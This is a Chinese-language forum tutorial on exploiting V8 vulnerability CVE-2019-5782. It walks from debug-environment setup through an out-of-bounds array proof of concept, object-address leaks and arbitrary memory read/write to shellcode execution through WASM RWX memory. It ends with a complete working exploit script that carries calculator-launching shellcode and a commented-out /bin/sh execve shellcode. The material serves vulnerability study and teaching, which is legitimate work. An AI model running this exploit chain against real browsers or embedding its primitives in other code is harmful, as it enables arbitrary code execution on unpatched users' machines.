查看原文
其他

手把手教你入门V8漏洞利用

jltxgcy 看雪学院 2021-03-07
本文为看雪论坛优秀文章
看雪论坛作者ID:jltxgcy

一、前言


对于V8漏洞我也是新手,所以想从新手入门的角度来讲解V8漏洞。从环境搭建,到具体的CVE-2019-5782漏洞利用。会讲解很多的细节,以及V8漏洞入门的参考资料。

这里首先先说个大坑,不要用mac搭建V8漏洞调试环境,我使用mac搭建的环境一直没有复现一些poc(可能方式不对),建议大家使用Ubuntu16.04,本文使用的虚拟机就是Ubuntu16.04。


二、环境搭建


首先要科学上网,配置git代理,如何配置git代理请参考《原创]V8环境搭建,100%成功版》(https://bbs.pediy.com/thread-252812.htm)。不科学上网是无法拉下代码的。

>>>>

1、安装deptools


git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

再将其加入环境变量以方便执行:

vi ~/.bashrc在最后一行输入:export PATH=$PATH:/path/to/depot_tools

>>>>

2、安装ninja


git clone https://github.com/ninja-build/ninja.gitcd ninja && ./configure.py --bootstrap && cd ..# clone并且configureecho 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc# /path/to/ninja改成ninja的目录


>>>>

3、拉去V8主线代码


fetch v8gclient sync

>>>>

4、gdb插件安装


首先创建~/.gdbinit,向里面写入:

source /path/to/v8/tools/gdbinitsource /path/to/v8/tools/gdb-v8-support.py

必须安装此插件,不然无法使用后面的调试命令如job。

>>>>

5、安装pwngdb插件,辅助调试


git clone https://github.com/pwndbg/pwndbgcd pwndbg./setup.sh

必须安装此插件,不然无法使用后面的调试命令如telescope。

最后看一下我的~/.gdbinit文件:

source /home/jltxgcy/code/v8/tools/gdbinitsource /home/jltxgcy/code/v8/tools/gdb-v8-support.pysource /home/jltxgcy/pwndbg/gdbinit.py //第5步自动安装的

>>>>

6、编译代码


这里使用debug版,方便调试(注意这步可以暂时不编译,看后面的文章切换到对应得漏洞版本后再编译)

tools/dev/v8gen.py x64.debugninja -C out.gn/x64.debug d8


三、CVE-2019-5782漏洞利用


本文不分析漏洞成因,仅做漏洞利用阐述。

>>>>

1、bug修复记录


https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04
我们如果要搭建这个漏洞利用环境,就要将代码回滚到漏洞修复之前的版本。


git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9gclient sync./tools/dev/v8gen.py x64.debugninja -C ./out.gn/x64.debug/

代码回滚到漏洞修复之前的版本,然后编译debug版本。

>>>>

2、漏洞poc.js


function fun(arg) { let x = arguments.length; a1 = new Array(0x10);//原本长度16 a1[0] = 1.1; a2 = new Array(0x10); a2[0] = 1.1; a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000,fun优化后a1的index变为21,超过了原本的index16,出现越界写,将a2的数组的长度修改为65535 a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000 } var a1, a2;var a3 = new Array();a3.length = 0x11000;for (let i = 0; i < 3; i++) fun(1);//未优化调用%OptimizeFunctionOnNextCall(fun);//根据未优化调用传递的参数,优化fun代码fun(...a3); // "..." convert array to arguments list,调用优化后的fun代码console.log(a2.length); //65535for (let i = 0; i < 32; i++) { console.log(a2[i]);}

进入到out.gn/x64.debug里面编译生成的可执行文件是d8,运行poc:

./d8 --allow-natives-syntax poc.js

这里--allow-natives-syntax是必备的,%OptimizeFunctionOnNextCall和后面的%DebugPrint、%SystemBreak这些命令能够执行,都必须加上--allow-natives-syntax命令。

%OptimizeFunctionOnNextCall是优化fun代码,再次调用fun(...a3),a1数组、a2数组在内存上相邻。

a1数组原本的长度是16,a1[(x >> 16) * 21]  = 1.39064994160909e-309;  此时相当于a1[21] = 1.39064994160909e-309(正常情况下是无法写入的,由于触发了漏洞才能写入); a1下面就是a2数组,a2数组的长度变为65535,我们也可以通过日志看到一些现象进行佐证:

655351.1undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined2.77530312163714e-3101.06890129382663e-3101.1515464254871e-3101.39064994160909e-3091.06890129374126e-3101.11.06890129374126e-3102.77530312163714e-3101.06890129374126e-3101.06890129382663e-3101.06890129374126e-3101.1515464254871e-3101.06890129374126e-3101.39064994160909e-3091.06890129374126e-3101.06890129374126e-310

长度已经输出为65535,前面16个元素,只有a1[0]被赋值为1.1,其他都undefined。从16个元素之后还可以正常的读取数值。

接下来我们通过gdb调试来看下a1和a2数组的内存布局,来更好的理解为什么a2的长度会变为65535。

首先在poc.js中加入调试代码:

function fun(arg) { let x = arguments.length; a1 = new Array(0x10); a1[0] = 1.1; a2 = new Array(0x10); a2[0] = 1.1; a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000 a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000 } var a1, a2;var a3 = new Array();a3.length = 0x11000;for (let i = 0; i < 3; i++) fun(1);%OptimizeFunctionOnNextCall(fun);fun(...a3); // "..." convert array to arguments list%DebugPrint(a1); //新增,打印a1内存布局%DebugPrint(a2); //新增,打印a2内存布局%SystemBreak();//下断点,程序会停在这里console.log(a2.length); //65535for (let i = 0; i < 32; i++) { console.log(a2[i]);}

gdb调试:

jltxgcy@jltxgcy-VirtualBox:~/code/v8/out.gn/x64.debug$ gdb ./d8 GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1Copyright (C) 2016 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...pwndbg: loaded 184 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from ./d8...done.pwndbg> set args --allow-natives-syntax poc.js pwndbg> r

Starting program: /home/jltxgcy/code/v8/out.gn/x64.debug/d8 --allow-natives-syntax poc.js [Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".[New Thread 0x7f8fb523a700 (LWP 28133)]DebugPrint: 0x11cd6ed85629: [JSArray] //a1 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2f1112710ac1 <JSArray[0]> - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS] - length: 16 - properties: 0x35bec4f80c21 <FixedArray[0]> { #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> { 0: 1.1 1-15: <the_hole> }0x2b345b402f29: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: HOLEY_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x2b345b402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> - prototype_validity cell: 0x05d83ba80609 <Cell value= 1> - instance descriptors #1: 0x2f11127114c9 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x2f1112711469 <TransitionArray[4]>Transition array #1: 0x35bec4f84b79 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x2b345b402f79 <Map(PACKED_ELEMENTS)> - prototype: 0x2f1112710ac1 <JSArray[0]> - constructor: 0x2f1112710889 <JSFunction Array (sfi = 0x5d83ba8d309)> - dependent code: 0x35bec4f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 DebugPrint: 0x11cd6ed856d9: [JSArray] //a2 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2f1112710ac1 <JSArray[0]> - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS] - length: 65535 //长度变为65535 a1[21] = 1.39064994160909e-309 - properties: 0x35bec4f80c21 <FixedArray[0]> { #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> { //a1[41] = 1.39064994160909e-309 0: 1.1 1-15: <the_hole> 16: 2.347e-310 17: 2.91961e-310 18: 9.67085e-311

查看elements,使用job 0x11cd6ed85649:

pwndbg> job 0x11cd6ed85649 19: 1.39065e-3090x11cd6ed85649: [FixedDoubleArray] - map: 0x35bec4f81459 <Map> - length: 65535 //长度也被修改65535 0: 1.1 1-15: <the_hole> 16: 2.347e-310 17: 2.91961e-310 18: 9.67085e-311

我们已经看到了a2在内存中length被设置为65535(0xFFFF),且elements的长度也被设置为65535(0xFFFF)。

那么为什么这个浮点1.39064994160909e-309在内存中会被存为0xffff00000000。

a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000

IEEE 754编码形式的浮点数,转换地址:http://www.binaryconvert.com/convert_double.html?hexadecimal=0000000000000000



>>>>

3、泄露对象地址


/*---------------------------datatype convert-------------------------*/class typeConvert{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } //convert float to int f2i(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } /* convert int to float if nead convert a 64bits int to float please use string like "deadbeefdeadbeef" (v8's SMI just use 56bits, lowest 8bits is zero as flag) */ i2f(val){ let vall = hex(val); let tmp = []; tmp[0] = vall.slice(10, ); tmp[1] = vall.slice(2, 10); tmp[0] = parseInt(tmp[0], 16); // console.log(hex(val)); tmp[1] = parseInt(tmp[1], 16); this.u32.set(tmp); return this.f64[0]; }}//convert number to hex stringfunction hex(x){ return '0x' + (x.toString(16)).padStart(16, 0);} var dt = new typeConvert(); /*---------------------------get oob array-------------------------*/function fun(arg) { let x = arguments.length; a1 = new Array(0x10); a1[0] = 1.1; a2 = new Array(0x10); a2[0] = 1.1; a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000 a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0x2a00000000 } var a1, a2;var a3 = new Array();a3.length = 0x11000;for (let i = 0; i < 3; i++) fun(1);%OptimizeFunctionOnNextCall(fun);fun(...a3); // "..." convert array to arguments list /*---------------------------leak object-------------------------*/var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};var objTest = {'a':'b'}; //search the objLeak.tagfor(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xdead00000000){ offset1 = i-1; //a2[offset1] -> objLeak.leak break; }} function addressOf(target){ objLeak.leak = target; let leak = dt.f2i(a2[offset1]); return leak;} //test%DebugPrint(objLeak);%SystemBreak();console.log("address of objTest : " + hex(addressOf(objTest)));%DebugPrint(objTest);

这里我们先打印了objLeak对象的内存布局,关于V8对象内存布局请参考《V8 Bug Hunting 之 JS 类型对象的内存布局总结》(https://www.anquanke.com/post/id/185339)、《奇技淫巧学 V8 之二,对象在 V8 内的表达》(https://zhuanlan.zhihu.com/p/28780798)《V8 是怎么跑起来的 —— V8 中的对象表示》(https://juejin.im/post/5cc7dc5af265da038d0b514d)。

DebugPrint: 0x1e330d086219: [JS_OBJECT_TYPE] - map: 0x22c2d4d0aa99 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229> - elements: 0x1b513bb00c21 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1b513bb00c21 <FixedArray[0]> { #leak: 4660 (data field 0) #tag: 57005 (data field 1) }0x22c2d4d0aa99: [Map] - type: JS_OBJECT_TYPE - instance size: 40 - inobject properties: 2 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x22c2d4d0aa49 <Map(HOLEY_ELEMENTS)> - prototype_validity cell: 0x281a3f880609 <Cell value= 1> - instance descriptors (own) #2: 0x29ec48fa6dc1 <DescriptorArray[2]> - layout descriptor: (nil) - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229> - constructor: 0x29ec48f81fc9 <JSFunction Object (sfi = 0x281a3f88c361)> - dependent code: 0x1b513bb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0

使用telescope  0x1e330d086218查看对象布局二进制信息,注意对象指针是0x1e330d086219,对象地址0x1e330d086219-1。

pwndbg> telescope 0x1e330d08621800:0000│ 0x1e330d086218 —▸ 0x22c2d4d0aa99 ◂— 0x500001b513bb00101:0008│ 0x1e330d086220 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007... ↓03:0018│ 0x1e330d086230 ◂— 0x12340000000004:0020│ 0x1e330d086238 ◂— 0xdead0000000005:0028│ 0x1e330d086240 —▸ 0x22c2d4d0ab39 ◂— 0x400001b513bb00106:0030│ 0x1e330d086248 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007

可以看到0x1234和0xdead存储在对象的inobject_properties,是以smi的方式存储。smi和指针可以参考这篇文章《V8 小整数(smi)和指针》(https://zhuanlan.zhihu.com/p/82854566),关于浮点数参考这篇文章《V8 浮点数(float/double)》(https://zhuanlan.zhihu.com/p/82914271)

为了深入理解smi、对象指针、浮点数在内存的存储形式,以及更清楚的理解上面代码中typeConvert类中的方法,我这里先抛开漏洞本身,讲以下几个例子。

1)
a = [2, "test", 5555555555, 5.1];%DebugPrint(a);%SystemBreak();

gdb调试:

DebugPrint: 0xc3466384bf1: [JSArray] - map: 0x0594c5202f79 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x28e956e90ac1 <JSArray[0]> - elements: 0x0c3466384b91 <FixedArray[4]> [PACKED_ELEMENTS (COW)] - length: 4 - properties: 0x03423c380c21 <FixedArray[0]> { #length: 0x37f737f801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x0c3466384b91 <FixedArray[4]> { 0: 2 1: 0x37f737f90b49 <String[4]: test> 2: 0x28e956ea4c01 <HeapNumber 5.55556e+09> 3: 0x28e956ea4c11 <HeapNumber 5.1> }pwndbg> job 0x0c3466384b910xc3466384b91: [FixedArray] - map: 0x03423c380801 <Map> - length: 4 0: 2 1: 0x37f737f90b49 <String[4]: test> 2: 0x28e956ea4c01 <HeapNumber 5.55556e+09> 3: 0x28e956ea4c11 <HeapNumber 5.1> pwndbg> telescope 0x0c3466384b9000:0000│ 0xc3466384b90 —▸ 0x3423c380801 ◂— 0x3423c380101:0008│ 0xc3466384b98 ◂— 0x400000000 //长度为5,smi02:0010│ 0xc3466384ba0 ◂— 0x200000000 //a[0],smi03:0018│ 0xc3466384ba8 —▸ 0x37f737f90b49 ◂— 0x8e000003423c3804//a[1],对象04:0020│ 0xc3466384bb0 —▸ 0x28e956ea4c01 ◂— 0x3423c3805//a[2],对象05:0028│ 0xc3466384bb8 —▸ 0x28e956ea4c11 ◂— 0x66000003423c3805//a[3],对象 pwndbg> telescope 0x28e956ea4c0000:0000│ 0x28e956ea4c00 —▸ 0x3423c380561 ◂— 0x2000003423c380101:0008│ 0x28e956ea4c08 ◂— 0x41f4b230ce300000 //5555555555按照IEE754存在内存中的值,可以自己用上面的网站进行转换 pwndbg> telescope 0x28e956ea4c1000:0000│ 0x28e956ea4c10 —▸ 0x3423c380561 ◂— 0x2000003423c380101:0008│ 0x28e956ea4c18 ◂— 0x4014666666666666//5.1按照IEE754存在内存中的值

所以这回可以理解smi最后一位为0,对象最后一位为1的概念了吧。

2)
a = [2,3];%DebugPrint(a);%SystemBreak();

gdb调试:

DebugPrint: 0x235f19a04bc9: [JSArray] - map: 0x1ec508002d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x0e606e210ac1 <JSArray[0]> - elements: 0x235f19a04b79 <FixedArray[2]> [PACKED_SMI_ELEMENTS (COW)] - length: 2 - properties: 0x07997b300c21 <FixedArray[0]> { #length: 0x1d112ab801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x235f19a04b79 <FixedArray[2]> { 0: 2 1: 3 } pwndbg> x/10gx 0x1fa4c2204b780x1fa4c2204b78: 0x00001a9949200801 0x0000000200000000//长度0x1fa4c2204b88: 0x0000000200000000//a[0] smi 0x0000000300000000 //a[1] smi

3)
a = [2,3.1];%DebugPrint(a);%SystemBreak();

gdb调试:

DebugPrint: 0x143437604c09: [JSArray] - map: 0x0b43da402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x256781f90ac1 <JSArray[0]> - elements: 0x143437604be9 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS] - length: 2 - properties: 0x00ac15680c21 <FixedArray[0]> { #length: 0x35b1053801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x143437604be9 <FixedDoubleArray[2]> { 0: 2 1: 3.1 } pwndbg> telescope 0x143437604be800:0000│ 0x143437604be8 —▸ 0xac15681459 ◂— 0xac15680101:0008│ 0x143437604bf0 ◂— 0x200000000 //长度为202:0010│ 0x143437604bf8 ◂— 0x4000000000000000 //a[0] IEE746存储03:0018│ 0x143437604c00 ◂— 0x4008cccccccccccd //a[1] IEE746存储

我们看到这个数组中既有整型,也有浮点型,所以这里统一用了IEE746存储,2用IEE746存储是4000000000000000。由于这里面没有字符串,也没有用类似于1)那种对象指针的方式。

对象泄露会用到转换工具,我们先来看下转换工具:

/*---------------------------datatype convert-------------------------*/class typeConvert{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } //convert float to int f2i(val){ this.f64[0] = val;//1.39064994160909e-309 let tmp = Array.from(this.u32);//[65555,0] return tmp[1] * 0x100000000 + tmp[0];//0xFFFF00000000 } /* convert int to float if nead convert a 64bits int to float please use string like "deadbeefdeadbeef" (v8's SMI just use 56bits, lowest 8bits is zero as flag) */ i2f(val){//281470681743360(0xFFFF00000000的10机制) let vall = hex(val);//转换为"0x0000FFFF00000000"字符串 let tmp = []; tmp[0] = vall.slice(10, );//"00000000"字符串 tmp[1] = vall.slice(2, 10);//"0000FFFF"字符串 tmp[0] = parseInt(tmp[0], 16);//0 // console.log(hex(val)); tmp[1] = parseInt(tmp[1], 16);//65535,字符串值按照16进制算,转换为10进制数 this.u32.set(tmp);//刚才过程的逆过程,每4个字节一设置 return this.f64[0];//返回1.39064994160909e-309 }}//convert number to hex stringfunction hex(x){ return '0x' + (x.toString(16)).padStart(16, 0);}

关于读取ArrayBuffer请参考《ArrayBuffer,二进制数组》(https://zh.javascript.info/arraybuffer-binary-arrays)。
float2int比较简单,读者也可自己写个demo运行下,就明白其中的道理了,目的是将1.39064994160909e-309转换为0xFFFF00000000。

int2float也在注释中分析过了,281470681743360(0xFFFF00000000)转换为1.39064994160909e-309。

我们继续分析泄露对象地址:

/*---------------------------leak object-------------------------*/var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};var objTest = {'a':'b'}; //search the objLeak.tagfor(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xdead00000000){ //找到0xdead00000000 offset1 = i-1; //a2[offset1] -> objLeak.leak break; }} function addressOf(target){ objLeak.leak = target; let leak = dt.f2i(a2[offset1]);//泄露对象地址 return leak;} //test%DebugPrint(objLeak);%SystemBreak();console.log("address of objTest : " + hex(addressOf(objTest)));%DebugPrint(objTest);

由于a2中a2[0]=1.1,那么根据前面分析2),从a2中读取的数字都是float型,而内存中存储的数据是整型(16进制),所以要将float2int。

tag属性是我定义来确定偏移用的标志,只需要给leak属性赋值为目标对象,即可通过a2[offset]将该对象的地址作为float泄漏出来,然后调用float2int转换为int型。

输出:

address of objTest : 0x00000cfd1f006241DebugPrint: 0xcfd1f006241: [JS_OBJECT_TYPE] - map: 0x1ddbc868ab39 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2eafa2081f91 <Object map = 0x1ddbc8680229> - elements: 0x1a9b7ed00c21 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1a9b7ed00c21 <FixedArray[0]> { #a: 0x2eafa20a4da1 <String[1]: b> (data field 0) }

可以看到泄露的对象地址和debug打印的对象地址是一致的。

>>>>

4、任意地址读写


/*---------------------------arbitrary read and write-------------------------*/var buf = new ArrayBuffer(0xbeef);var offset2;var dtView = new DataView(buf);%DebugPrint(buf)%SystemBreak(); //search the buf.sizefor(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xbeef){ offset2 = i+1; //a2[offset2] -> buf.backing_store break; }} function write64(addr, value){ a2[offset2] = dt.i2f(addr);//传入的addr和value都是整型,先要转换为浮点型,举个例子addr等于0xffff00000000(281470681743360),转换为浮点型1.39064994160909e-309,最后在内存中存储的地址还是0xffff00000000(参考浮点数在内存中存储,前面讲了)。此时backing_store已经被赋值为目标地址 dtView.setFloat64(0, dt.i2f(value), true);//可以对目标地址写了,i2f转换原理同上分析} function read64(addr, str=false){ a2[offset2] = dt.i2f(addr);//backing_store已经被赋值为目标地址 let tmp = ['', '']; let tmp2 = ['', '']; let result = '' //我们举个例子目标地址中存放的内容是0xFFFF00000000 tmp[1] = hex(dtView.getUint32(0)).slice(10,);//"FFFF0000",后面会 转换为"0000FFFF" tmp[0] = hex(dtView.getUint32(4)).slice(10,);//"0000000" for(let i=3; i>=0; i--){//大小端转换 tmp2[0] += tmp[0].slice(i*2, i*2+2); tmp2[1] += tmp[1].slice(i*2, i*2+2); } result = tmp2[0]+tmp2[1] //"0000FFFF" + "00000000" if(str==true){return '0x'+result} else {return parseInt(result, 16)};//281470681743360(0xFFFF00000000)} //testwrite64(addressOf(objTest)+0x18-1, 0xdeadbeef);console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));

gdb调试,打印ArrayBuffer的内存结构:

DebugPrint: 0x176aac288e31: [JSArrayBuffer] - map: 0x02dee5902399 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x25367e30ea31 <Object map = 0x2dee59023e9> - elements: 0x3fda8cf80c21 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x55efd4fc5b00 //ArrayBuffer是向这个地址读写数值 - byte_length: 48879 //长度0xbeef - neuterable - properties: 0x3fda8cf80c21 <FixedArray[0]> {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> telescope 0x176aac288e3000:0000│ 0x176aac288e30 —▸ 0x2dee5902399 ◂— 0x800003fda8cf80101:0008│ 0x176aac288e38 —▸ 0x3fda8cf80c21 ◂— 0x3fda8cf807... ↓03:0018│ 0x176aac288e48 ◂— 0xbeef //ArrayBuffer长度0xbeef04:0020│ 0x176aac288e50 —▸ 0x55efd4fc5b00 ◂— 0x0 05:0028│ 0x176aac288e58 ◂— 0x206:0030│ 0x176aac288e60 ◂— 0x0

ArrayBuffer读写数据是通过backing_store的。所以为了实现任意地址读写,我们通常是覆盖ArrayBuffer的backing_store为我们想要读写的地址。

上面的代码中我们先获取了ArrayBuffer的长度0xbeef在a2中的偏移(a2[偏移] == 0xbeef),由于backing_store正好在长度0xbeef的上面,所以偏移-1获得到了backing_stored在a2中的偏移,此时可以通过a2来操作backing_store了。具体的函数细节请参考代码中的注释。

>>>>

5、利用WASM执行shellcode


详细的过程请参考《CVE-2019-5782 v8数组越界 漏洞复现》(https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/),这里不重复说明了。

/*-------------------------use wasm to execute shellcode------------------*/var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var funcAsm = wasmInstance.exports.main; var addressFasm = addressOf(funcAsm);var sharedInfo = read64(addressFasm+0x18-0x1);var data = read64(sharedInfo+0x8-0x1);var instance = read64(data+0x10-0x1);var memoryRWX = (read64(instance+0xe8-0x1));memoryRWX = Math.floor(memoryRWX);console.log("[*] Get RWX memory : " + hex(memoryRWX)); // sys_execve('/bin/sh')// var shellcode = [// '2fbb485299583b6a',// '5368732f6e69622f',// '050f5e5457525f54'// ]; // pop up a calculatorvar shellcode = [ '636c6163782fb848', '73752fb848500000', '8948506e69622f72', '89485750c03148e7', '3ac0c748d23148e6', '4944b84850000030', '48503d59414c5053', '485250c03148e289', '00003bc0c748e289', '050f00']; //write shellcode into RWX memoryvar offsetMem = 0;for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8;}//call funcAsm() and it would execute shellcode actuallyfuncAsm();

我们先泄露了funcAsm的地址,然后使用任意地址读获取了RXW区域的地址,之后使用任意地址写向其中写入shellcode,最后调用funcAsm来调用shellcode,弹出计数器。


四、完整exp,去除debug信息


/*---------------------------datatype convert-------------------------*/class typeConvert{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } //convert float to int f2i(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } /* convert int to float if nead convert a 64bits int to float please use string like "deadbeefdeadbeef" (v8's SMI just use 56bits, lowest 8bits is zero as flag) */ i2f(val){ let vall = hex(val); let tmp = []; tmp[0] = vall.slice(10, ); tmp[1] = vall.slice(2, 10); tmp[0] = parseInt(tmp[0], 16); // console.log(hex(val)); tmp[1] = parseInt(tmp[1], 16); this.u32.set(tmp); return this.f64[0]; }}//convert number to hex stringfunction hex(x){ return '0x' + (x.toString(16)).padStart(16, 0);} var dt = new typeConvert(); /*---------------------------get oob array-------------------------*/function fun(arg) { let x = arguments.length; a1 = new Array(0x10); a1[0] = 1.1; a2 = new Array(0x10); a2[0] = 1.1; a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000 a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0x2a00000000 } var a1, a2;var a3 = new Array();a3.length = 0x11000;for (let i = 0; i < 3; i++) fun(1);%OptimizeFunctionOnNextCall(fun);fun(...a3); // "..." convert array to arguments list /*---------------------------leak object-------------------------*/var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};//var objTest = {'a':'b'}; //search the objLeak.tagfor(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xdead00000000){ offset1 = i-1; //a2[offset1] -> objLeak.leak break; }} function addressOf(target){ objLeak.leak = target; let leak = dt.f2i(a2[offset1]); return leak;} //test//console.log("address of objTest : " + hex(addressOf(objTest)));//%DebugPrint(objTest); /*---------------------------arbitrary read and write-------------------------*/var buf = new ArrayBuffer(0xbeef);var offset2;var dtView = new DataView(buf); //search the buf.sizefor(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xbeef){ offset2 = i+1; //a2[offset2] -> buf.backing_store break; }} function write64(addr, value){ a2[offset2] = dt.i2f(addr); dtView.setFloat64(0, dt.i2f(value), true);} function read64(addr, str=false){ a2[offset2] = dt.i2f(addr); let tmp = ['', '']; let tmp2 = ['', '']; let result = '' tmp[1] = hex(dtView.getUint32(0)).slice(10,); tmp[0] = hex(dtView.getUint32(4)).slice(10,); for(let i=3; i>=0; i--){ tmp2[0] += tmp[0].slice(i*2, i*2+2); tmp2[1] += tmp[1].slice(i*2, i*2+2); } result = tmp2[0]+tmp2[1] if(str==true){return '0x'+result} else {return parseInt(result, 16)};} //test//write64(addressOf(objTest)+0x18-1, 0xdeadbeef);//console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));//%DebugPrint(objTest);//%SystemBreak();/*-------------------------use wasm to execute shellcode------------------*/var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var funcAsm = wasmInstance.exports.main; var addressFasm = addressOf(funcAsm);var sharedInfo = read64(addressFasm+0x18-0x1);var data = read64(sharedInfo+0x8-0x1);var instance = read64(data+0x10-0x1);var memoryRWX = (read64(instance+0xe8-0x1));memoryRWX = Math.floor(memoryRWX);console.log("[*] Get RWX memory : " + hex(memoryRWX)); // sys_execve('/bin/sh')// var shellcode = [// '2fbb485299583b6a',// '5368732f6e69622f',// '050f5e5457525f54'// ]; // pop up a calculatorvar shellcode = [ '636c6163782fb848', '73752fb848500000', '8948506e69622f72', '89485750c03148e7', '3ac0c748d23148e6', '4944b84850000030', '48503d59414c5053', '485250c03148e289', '00003bc0c748e289', '050f00']; //write shellcode into RWX memoryvar offsetMem = 0;for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8;}//call funcAsm() and it would execute shellcode actuallyfuncAsm();

漏洞效果:




五、参考文章


建议大家可以看下这些文章,都写的不错。

1、《CVE-2019-5782 v8数组越界 漏洞复现》
https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/

2、《GToad Blog》
https://gtoad.github.io/

